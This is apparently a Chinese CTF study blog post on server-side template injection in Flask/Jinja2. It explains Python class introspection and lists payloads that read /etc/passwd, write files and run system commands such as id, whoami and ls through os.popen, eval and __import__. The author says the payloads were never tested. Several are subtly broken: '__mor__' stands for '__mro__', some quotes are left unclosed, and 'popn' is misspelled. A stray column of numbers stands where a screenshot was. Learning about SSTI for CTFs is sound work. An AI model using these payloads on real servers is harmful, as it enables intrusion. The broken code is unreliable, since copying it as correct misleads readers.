FLASK模板注入 (SSTI)

最近的几次比赛里,发现有几道涉及SSTI的题目,之前在护网杯的时候其实就已经碰到过了,但是当时并没有重视,今天才真的去好好了解了SSTI的原理以及利用方法。

首先,SSTI漏洞引发的原因和大多数web漏洞一样,对用户输入的值过于信任,导致用户输入一些恶意代码来完成攻击。而最近碰到的几个SSTI都是基于 FLASK JINJA2模板的注入,FLASK是由python写的一个基于JINJA2引擎的web应用框架,其实我对这些框架并不了解,但了解这些漏洞也算是对自己python理解的进一步提升吧。

Python是面向对象的编程语言,所以同样有着类,对象和继承属性。而这种SSTI就充分利用了这些。

Python中有一个 .__class__ 可以获取实例对应的类,比如一个空字符串 "".__class__就可以获取到 ,那这个字符串同样也可以换成列表,元组,字典。

FLASK模板注入 (SSTI)_第1张图片

接着就是 __mro__这个属性可以获取到当前对象的所有继承类, 这个属性返回一个tuple对象,这个对象包含了当前类对象所有继承的基类,tuple中元素的顺序就是MRO(Method Resolution Order) 寻找的顺序。或者用__base__这个属性也可以获取到基本类。

再往后又涉及到类对象中的方法 __subclasses__(),这个方法会返回类中所有存活子类的引用(不是实例),那如果我们用object类调用这个方法的话,就可以返回所有的类对象了。(object类对象是所有类的父类)

 

0 
1 
2 
3 
4 
5 
6 
7 
8 
9 
10 
11 
12 
13 
14 
15 
16 
17 
18 
19 
20 
21 
22 
23 
24 
25 
26 
27 
28 
29 
30 
31 
32 
33 
34 
35 
36 
37 
38 
39 
40 
41 
42 
43 
44 
45 
46 
47 
48 
49 
50 
51 
52 
53 
54 
55 
56 
57 
58 
59 
60 
61 
62 
63 
64 
65 
66 
67 
68 
69 
70 
71 
72 
73 
74 
75 
76 
77 
78 
79 
80 
81 
82 
83 
84 
85 
86 
87 
88 

FLASK模板注入 (SSTI)_第2张图片

由此可以看到object类的第40号元素就是一个有读文件功能的类对象。

所以我们就可以用''.__class__.__mor__[2].__subclasses__()[40]('/etc/passwd').read() 读取/etc/passwd文件的内容

''.__class__.__mor__[2].__subclasses__()[40]('/tmp').write('test') 在tmp目录下写入一个test文件?应该是吧

 

然后就是更高级的操作,执行系统命令。object.__subclasses__()[59].__init__.func_globals.linecache

查阅的其他资料,访问os模块都是从warnings.catch_warnings模块入手的,而这两个模块分别位于元组中的59,60号元素。__init__用于将对象实例化,func_globals可以看该模块下有哪些globals函数,而linecache可用于读取任意一个文件的某一行,而这个函数引用了os模块。

  1. object.__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()

 

  1. object.__subclasses__()[59].__init__.func_globals['linecache'].os.popen('whoami').read()

 

  1. object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

 

object.__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数

  1. object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import_('os').popen('id').read()")

 

  1. object.__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os).popen('id').read()")

 

  1. object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os).popen('id').read()

 

  1. object.__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popn('id').read()

 

这些payload都可以实现命令执行。

 

因为还没有找到SSTI的环境,所以还没有复现,等找到有相关题目的环境就会搭好来复现一遍,对文章进行实例补充的。

 

你可能感兴趣的:(CTF)